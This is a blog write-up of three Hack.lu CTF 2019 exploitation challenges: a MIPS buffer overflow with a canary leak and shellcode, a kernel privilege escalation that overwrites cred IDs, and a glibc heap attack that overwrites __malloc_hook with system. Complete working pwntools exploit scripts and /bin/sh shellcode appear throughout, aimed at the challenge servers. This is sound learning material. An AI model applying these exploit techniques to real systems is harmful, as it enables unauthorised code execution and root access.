Hackl.u CTF 2019 writeups.


Hack.lu  is such a wonderful CTF, I really enjoyed solving baby kernel which is a kernel exploitation challenge. During the CTF I solved two challenges, but after the CTF I solved Tcalc which is an interesting heap exploitation challenge. I desperately wanted to solve Teen Kernel challenge which is somewhat advanced than baby kernel, but exams are coming and I have to prepare for those will try to solve and write a blog about Kernel Exploitation after the completion of my exams.πŸ˜…




1. No Risc, No Future
2. Baby Kernel 2
3. TCalc


No Risc, No Future

It is a simple buffer overflow challenge, but it's in RISC Architecture SET. We are given a MIPS ELF and Qemu. I don't know much about RISC Architecture and never solved challenges related to RISC.

$file no_risc_no_future 
no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=8d9728e98717452e43b6e32ff3e19002c7fa2d5d, not stripped

$checksec no_risc_no_future
[*] './no_risc_no_future'
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

We can see that it has Canary Enabled which means we need to leak the canary to bypass canary check, NX is disabled which means stack is executable, PIE is disabled.

Vulnerable Code

The program ask for user input and prints it, it does the same thing for ten times.

 0x004005e0 <+0>: addiu sp,sp,-104 
   0x004005e4 <+4>: sw ra,100(sp)
   0x004005e8 <+8>: sw s8,96(sp)
   0x004005ec <+12>: move s8,sp
   0x004005f0 <+16>: lui gp,0x4a
   0x004005f4 <+20>: addiu gp,gp,-32000
   0x004005f8 <+24>: sw gp,16(sp)
=> 0x004005fc <+28>: lw v0,-32712(gp)
   0x00400600 <+32>: lw v0,0(v0)
   0x00400604 <+36>: sw v0,92(s8)
   0x00400608 <+40>: sw zero,24(s8)
   0x0040060c <+44>: b 0x400660 
0x00400610 <+48>: nop 0x00400614 <+52>: addiu v0,s8,28 0x00400618 <+56>: li a2,256 0x0040061c <+60>: move a1,v0 0x00400620 <+64>: move a0,zero 0x00400624 <+68>: lw v0,-32620(gp) 0x00400628 <+72>: move t9,v0 0x0040062c <+76>: bal 0x41d2c0 <__read>
There is clear buffer overflow in the above mips assembly, stack pointer is decreased to -104 to make space for local variables in main functions. But if you see at <+76> read call is taken place with buffer size 256(li a2, 256) which is clear a buffer overflow.

Plan to Exploit

We have to exploit the program in less than 10 steps.
 1. Leak the canary
 2. Leak the Frame Pointer of previous stack
 3. Push the shell code right after the return which is nothing but from the previous stack frame pointer
 4. Overwrite the return address with frame pointer of previous stack
 5. Write Canary
 6-10. Do Nothing, Shell pops

python exp.py 
[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
[*] canary 0xaa13a400
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaabcde
[*] Frame Pointer 0x7ffffd30
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0��Ps$\xff\xff�Ps\x0f$\xff\xff\x06(���'��\x0f$'x�! ��\xff\xa4\xaf���\xaf���#\xab\x0f$\x0c/bin/sh

[*] Switching to interactive mode
$ 
/chall $ 
/chall $ $ ls
ls
flag                no_risc_no_future   qemu-mipsel-static
/chall $ $ cat flag
cat flag
flag{indeed_there_will_be_no_future_without_risc}/chall $ [*] Got EOF while reading in interactive
$ 

Exploit


from pwn import *
shellcode="\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00"

p = remote('noriscnofuture.forfuture.fluxfingers.net',1338)

#get canary
payload = 'a'*60+'bbbb'+'c'  #overwrite null byte of canary so that puts wont stop printing
p.send(payload)
canary = p.recv()
canary = '\x00'+canary[canary.find('bbbbc')+5:canary.find('bbbbc')+5+3]  #add overwritten nullbyte to canry
canary = u32(canary)
info('canary %s'%hex(canary))

#get frame pointer
payload = 'a'*64
payload += 'b'*4 #canary
payload += 'b'*4 #shit
payload += 'a'*4 #return address
payload += 'a'*6*4+'bcde' #frame pointer offset
print(payload)
p.send(payload)
fp = p.recv()
fp = fp[fp.find('bcde')+4 : fp.find('bcde')+8]
fp = u32(fp)
info("Frame Pointer %s"%hex(fp))

#store shell after return and overwrite return address with frame pointer
payload = 'a'*72 #pad for return 
payload +=  p32(fp)# overwrite with frame pointer
payload += shellcode #frame pointer location
p.send(payload)
print(p.recv())

#write canary
payload = 'a'*64
payload += p32(canary) #write canary
for i in range(7): #wait for program to complete loops
    p.send(payload)
    p.recv()


p.interactive()  #shell pops
I really loved solving this challenge, cuz I wrote the exploit code and when I ran it for first time I got the shell, its an awe movement for me.

Baby Kernel

Its the first time I am doing a kernel exploitation challenge, as the name suggests its an easy kernel exploitation challenge, but it took lot of time for me to exploit, cuz I don't know nothing about kernel exploitation. We are given below files


$ ls
bzImage  initramfs.cpio.gz  run.sh  System.map  vmlinux
vmlinux which is an uncompressed kernel image, bzImage compressed one, System.map which is a symbol table for kernel, initramfs.cpio.gz which is used to mount root file system. If we run the kernel, after the boot it runs client_baby_kernel_2 executable which has arbitrary read/write in the kernel with kernel module name kernel_baby_2.ko.

Exploit

$./run.sh Linux version 4.19.77 (sceptic@sceptic-arch) (gcc version 9.2.0 (GCC)) #2 PREEMPT Fri Oct 11 00:50:19 CEST 2019 Command line: console=ttyS0 init='/init' x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers' x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers' x86/fpu: Supporting XSAVE feature 0x008: 'MPX bounds registers' --------------------------------------------------------------- -------------------------------------------------------------- Run /init as init process kernel_baby_2: loading out-of-tree module taints kernel. flux_baby_2 says hi there! input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 tsc: Refined TSC clocksource calibration: 2394.324 MHz clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x228345be6ee, max_idle_ns: 440795275992 ns clocksource: Switched to clocksource tsc flux_baby_2 opened ----- Menu ----- 1. Read 2. Write 3. Show me my uid 4. Read file 5. Any hintz? 6. Bye! >3 uid=1000(user) gid=1000(user) groups=1000(user) ----- Menu ----- 1. Read 2. Write 3. Show me my uid 4. Read file 5. Any hintz? 6. Bye! > 4 Which file are we trying to read? > /flag Could not open file for reading... ----- Menu ----- 1. Read 2. Write 3. Show me my uid 4. Read file 5. Any hintz? 6. Bye! >
To solve this challenge we need to read a file named /flag which can only be accessed by root, so we need to somehow escalate to root.

Little Understanding of kernel

Each process has a struct called task_struct which is stored in kernel space, this structure contains a lot of information related to the process like scheduling information, memory descriptor(mm_struct) which has information about programs memory, parent process, linked list of child process, next task and more importantly it has a pointer to process privileges which is a structure named cred. So our task is to overwrite the identifiers( uid, gid, group id, fsuid, fsgid) to 0 which is nothing but a process with root privileges.

$ ptype /o struct task_struct
/* offset    |  size */  type = struct task_struct {
/*    0      |    16 */    struct thread_info {
/*    0      |     8 */        unsigned long flags;
/*    8      |     4 */        u32 status;
/* XXX  4-byte padding */
------------------------------------------------
/* 1016      |     8 */    const struct cred *real_cred;
/* 1024      |     8 */    const struct cred *cred; // structure which holds our process priveleges
/* 1032      |    16 */    char comm[16];

$#Lets see the cred structure
$ptype /o struct cred
/* offset    |  size */  type = struct cred {
/*    0      |     4 */    atomic_t usage;
/*    4      |     4 */    kuid_t uid;
/*    8      |     4 */    kgid_t gid;
/*   12      |     4 */    kuid_t suid;
/*   16      |     4 */    kgid_t sgid;
/*   20      |     4 */    kuid_t euid;
/*   24      |     4 */    kgid_t egid;
/*   28      |     4 */    kuid_t fsuid;
/*   32      |     4 */    kgid_t fsgid;
/*   36      |     4 */    unsigned int securebits;
/*   40      |     8 */    kernel_cap_t cap_inheritable;
/*   48      |     8 */    kernel_cap_t cap_permitted;
/*   56      |     8 */    kernel_cap_t cap_effective;
/*   64      |     8 */    kernel_cap_t cap_bset;
/*   72      |     8 */    kernel_cap_t cap_ambient;
/*   80      |     8 */    struct user_struct *user;
/*   88      |     8 */    struct user_namespace *user_ns;
/*   96      |     8 */    struct group_info *group_info;
/*  104      |    16 */    union {
/*                 4 */        int non_rcu;
/*                16 */        struct callback_head {
/*  104      |     8 */            struct callback_head *next;
/*  112      |     8 */            void (*func)(struct callback_head *);

                                   /* total size (bytes):   16 */
                               } rcu;

                               /* total size (bytes):   16 */
                           };

                           /* total size (bytes):  120 */
                         }

We just need to find the offset of identifiers in the kernel space and overwrite with 0, initially, I tried overwriting uid, gid but group id is still 1000, then I overwrote all the ids and group_info->gid to 0. Then I am able to read the file. Note: I found that we can read flag with just overwriting fsuid and fsgid to 0 which are identifiers related to file system.

Exploit


from pwn import *

#elf = ELF("./vmlinux")

def read(addr):
    r.sendlineafter("> ",str(1))
    r.sendlineafter("> ",str(addr))
    a = r.recvuntil("Bye!")
    a= "0x"+a[a.find("is: ")+4:a.find("is: ")+20]
    return a

def write(addr,val):
    r.sendlineafter("> ",str(2))
    r.sendlineafter("> ",str(addr))
    r.sendlineafter("> ",str(val))

def show_uid():
    r.sendlineafter("> ",str(3))
    print(r.recv())

#current_task = elf.sym['current_task']
current_task=0xffffffff8183a040 #pointer to current_task struct obtained from System.map
r = remote("babykernel2.forfuture.fluxfingers.net", 1337)
cred_offset = 0x400  #cred struct offset
group_offset = 0x60  #group struc offset

#Exploit
init_task = read(hex(current_task))
info("init_task struct addr %s"%init_task)
#read cred* struct
cred = int(init_task,16)+cred_offset
cred_struct = read(hex(cred))
cred = int(cred_struct,16)

info("cred struct addr %s"%hex(cred))

uid = cred+0x4
gid = cred+0x8
info("gid addr %s"%hex(gid))
info("uid addr %s"%hex(uid))

#overwrite all ids to 0
for i in range(1,9):
    off = i*0x4
    tmp = cred+off
    write(hex(tmp),str(0))


#write(hex(uid),0)
#write(hex(gid),0)
show_uid()
#overwrite group 
group = cred + group_offset
group_struct = read(hex(group))

info("group_info struct %s"%group_struct)
group_id = int(group_struct,16)+0x8
info("group_id %s"%hex(group_id))
write(hex(group_id),0)

show_uid()
r.sendlineafter("> ",str(4))
r.sendlineafter("> ","/flag")
print(r.recv())
r.interactive()
Such a nice introduction challenge to kernel exploitation, I will try to solve teen kernel after my exams and will write more about kernel exploitation.

TCalc

Here comes my favourite challenge, I couldn't solve it during the CTF.
Vulnerability
We are given with a ELF file and its source code also. I thought that it may be a easy challenge because the author provided the source code which is not common in CTFs. Lets check some basic thing

$checksec chall
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ ./chall
------------------
What do?
1) get numbers
2) print_average
3) delete_numbers
>1
How many values do you want to enter?
>2 
1
2
------------------
What do?
1) get numbers
2) print_average
3) delete_numbers
>3
delete at which idx?
>0
------------------
What do?
1) get numbers
2) print_average
3) delete_numbers
The functionality of the ELF is, there is a double-pointer array called numbers of length 10 allocated on the heap, we can store n values by allocating calloc(n+1,sizeof(long int*)) and the n is stored at 0th position on the heap and its pointer is stored in numbers at index i. We can free allocated numbers by giving the index value. We can find the average of values at given index. Most of the protections in place. Let's analyze the source code download if you want from here chall.c. Try if you can find the vuln here.

void print_average(long int **data){
 int idx = 0;
 long int sum = 0;
 printf("average at which idx?\n>");
 idx = get_num();
 /* security */
 if(!(0 <= idx < ARR_LEN) || data[idx] == NULL){exit(0);}
 /* Sum up all values and divide them by the number of values */
 for(int i = 1; i < (data[idx][0] + 1); i++){
  sum += data[idx][i]; 
 }
 printf("The average is: %lf\n",(double)sum / data[idx][0]);
}
void delete_numbers(long int ** numbers){
 int idx;
 printf("delete at which idx?\n>");
 idx = get_num();
 /* security */    
 if(0 <= idx < ARR_LEN && numbers[idx] != NULL){
  free(numbers[idx]); 
  /* security! */
  numbers[idx] = NULL;
 } else {
  printf("Try harder, lil fella\n");
 }
}
gdb$ disass delete_numbers 
Dump of assembler code for function delete_numbers:
   0x00000000000013df <+0>: push   rbp
   0x00000000000013e0 <+1>: mov    rbp,rsp
   0x00000000000013e3 <+4>: sub    rsp,0x20
   0x00000000000013e7 <+8>: mov    QWORD PTR [rbp-0x18],rdi
   0x00000000000013eb <+12>: lea    rdi,[rip+0xc7d]        # 0x206f
   0x00000000000013f2 <+19>: mov    eax,0x0
   0x00000000000013f7 <+24>: call   0x1060 
   0x00000000000013fc <+29>: mov    eax,0x0
   0x0000000000001401 <+34>: call   0x11b9  # take idx
   0x0000000000001406 <+39>: mov    DWORD PTR [rbp-0x4],eax
   0x0000000000001409 <+42>: mov    eax,DWORD PTR [rbp-0x4]
   0x000000000000140c <+45>: cdqe   
   0x000000000000140e <+47>: lea    rdx,[rax*8+0x0]           
   0x0000000000001416 <+55>: mov    rax,QWORD PTR [rbp-0x18]
   0x000000000000141a <+59>: add    rax,rdx
   0x000000000000141d <+62>: mov    rax,QWORD PTR [rax]
   0x0000000000001420 <+65>: test   rax,rax  #Check if value at given idx is NUll if jump wait where is the index check
   0x0000000000001423 <+68>: je     0x1461 
   0x0000000000001425 <+70>: mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000001428 <+73>: cdqe   
   0x000000000000142a <+75>: lea    rdx,[rax*8+0x0]
   0x0000000000001432 <+83>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000001436 <+87>: add    rax,rdx
   0x0000000000001439 <+90>: mov    rax,QWORD PTR [rax]
   0x000000000000143c <+93>: mov    rdi,rax
   0x000000000000143f <+96>: call   0x1030 
   0x0000000000001444 <+101>: mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000001447 <+104>: cdqe   
   0x0000000000001449 <+106>: lea    rdx,[rax*8+0x0]
   0x0000000000001451 <+114>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000001455 <+118>: add    rax,rdx
   0x0000000000001458 <+121>: mov    QWORD PTR [rax],0x0
   0x000000000000145f <+128>: jmp    0x146d 
   0x0000000000001461 <+130>: lea    rdi,[rip+0xc1e]        # 0x2086
   0x0000000000001468 <+137>: call   0x1040 
   0x000000000000146d <+142>: nop
   0x000000000000146e <+143>: leave  
   0x000000000000146f <+144>: ret    
End of assembler dump.

I actually did a mistake by analyzing the source code, cuz I couldn't find the vulnerability but it is there. And then if we check the assembly,
if(0 <= idx < ARR_LEN && numbers[idx] != NULL)
there is no
0 <= idx < ARR_LEN
check. Wait what happened, so weird why compiler removed those instructions. If we clearly see the check
0 <= idx < ARR_LEN
, this wont work in C like python. Compiler look at this statement in a different way like this
(0 <= idx) < ARR_LEN
which is always True. Then there is nothing wrong in removing this instruction. This was cleared to me by Sceptic(Challenge Author). As we need to give index value to do free and find average of value, because of the above bad coding practice we can give any index we wanted. As numbers array is also stored on the heap, we can do arbitrary read and free at the address we wanted by adding a proper offset to index which points to address of our choice.
Exploit Plan
  1. Leak the Heap Base
    • As the remote server is running on GLIBC_2.30, tcache will be there. The idea of leaking the heap base is we free some chunks and there will be fd and bk pointers on the heap, we use our print_average and by adding the proper offset  to the index we can point it to one of fd of next free chunk which gives us the leak. But there is a problem tcache fd points to data section not to the chunk head which makes count value very big because there will be an fd of next chunk. So we will use fastbins. 
    • We alloc 10 chunks of same size and free them, 7 will be in tcache 3 will be in fastbin. 
  2. With the Heap Base, Leak the Libc Base
    • Tcache and fastbins dont have a pointer to the main arena, but unsorted bin has. So we alloc chunk of size 0x408 and will free it, and using our heap base we find the proper index which points right before the unsorted bin fd which gives us the leak
  3. As we have libc base and heap base, we can do fast bin corruption attack.
    • We overwrite __malloc_hook with system address to do that we overwrite one of fastbin  fd to point __malloc_chunk and to free that there should be a size of fastbin chunk at __malloc_hook we have one 0x7f at libc.symbols['__malloc_hook'] - 0x23]  so we can free it. 
    • So we free 7 0x70 chunks and they will be in tcache and one more chunk which will be in fastbin, then we free a fake overlapping chunk right before fast bin chunk and overwrite fd with __malloc_hook-0x23, and then we free 2 chunks and 3 one will be at malloc_hook and we overwrite with system address (we need to properly calculate values to make up system address as we need to store long long int integers).
  4. As we overwrote malloc_hook with system address while doing next allocation there should be an 8 byte aligned address to "/bin/sh\x00" or "sh" in rdi.

  bytes = n * elem_size;
  void *(*hook) (size_t, const void *) =
    atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      sz = bytes;
      mem = (*hook)(sz, RETURN_ADDRESS (0));
      if (mem == 0)
        return 0;

      return memset (mem, 0, sz);
    }
As we see __malloc_hook will be called on n*elem_size, so if we give str((libc_base+binsh)//8 rdi will point to /bin/sh thats it. We popped the shell.

Exploit Code


from pwn import *
import re


elf = ELF("./chall")
context.arch = 'amd64'

def get_numbers(num, val):
    p.sendlineafter(">",str(1))
    p.sendlineafter(">",str(num))
    for i in val:
        p.sendline(str(i))

def print_average(idx):
    p.sendlineafter(">",str(2))
    p.sendlineafter(">",str(idx))
    return p.recvuntil("---")

def delete_numbers(idx):
    p.sendlineafter(">",str(3))
    p.sendlineafter(">",str(idx))

if args.REM:
    p = remote("tcalc.forfuture.fluxfingers.net",1337)
    libc = ELF("./libc.so.6")
else:
    p = process("./chall")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")
    gdb.attach(p,"""

            """)
#LEAK
offset_numbers = (0x000055555555a2d0-0x555555559260)//8
offset_libc = (0x55555555b360-0x555555559260)//8 +1

main_arena_offset = 0x1e4c40
main_arena = 0x1c09e0
for addr in libc.search("sh"):
    if addr%8 == 0:
        binsh = addr


for i in range(10):
    get_numbers(2,[2,2])
for i in range(10):
    delete_numbers(i)
#heap leak
leak_offset = offset_numbers + 36 #offset to last fastbin bin which points to previously freed bin head which has leak
leak = print_average(leak_offset)
heap = int(re.findall(r'\d+',leak)[0])*2 - 0x13c0 #heap base addr
info("Heap Base %s"%hex(heap))

#Leaking LIBC 
#get a unsorted bin
get_numbers(500,['a']) #1
get_numbers(2,[heap+0x13a0,2]) #2
delete_numbers(0)
print(offset_libc)
libc_leak = print_average(offset_libc)
libc_main_arena = int(re.findall(r'\d+',libc_leak)[0])*2-0xfb0 #main_arena +96
libc_main_arena = libc_main_arena - 96
libc_base = libc_main_arena - main_arena_offset
info("Libc Base %s"%hex(libc_base))

#clean up the heap
delete_numbers(1)

#fastbin corruption attack
get_numbers(2,[2, heap+0x13c0])
get_numbers(2,[0x71,0x71])
get_numbers(0x60//8,[0x21 for i in range(0x60//8)] )

#Fill up tcache 0x60
for i in range(7):
    get_numbers(0x60/8,['a'])
    delete_numbers(3)

delete_numbers(2)
delete_numbers((0x55555555b370-0x555555559260)/8)

get_numbers(12, [0x71,libc_base +libc.symbols['__malloc_hook'] - 0x23] +[0]*10)
get_numbers(12,[0]*12)
get_numbers(12,[0x71, -2285610601545728, 0x7f] +[0x0]*9)
raw_input("")
p.sendlineafter(">",str(1))
p.sendlineafter(">",str((libc_base+binsh)//8-1))

p.interactive()

Woah, it took a time to write, I hope it helps somebody.

Comments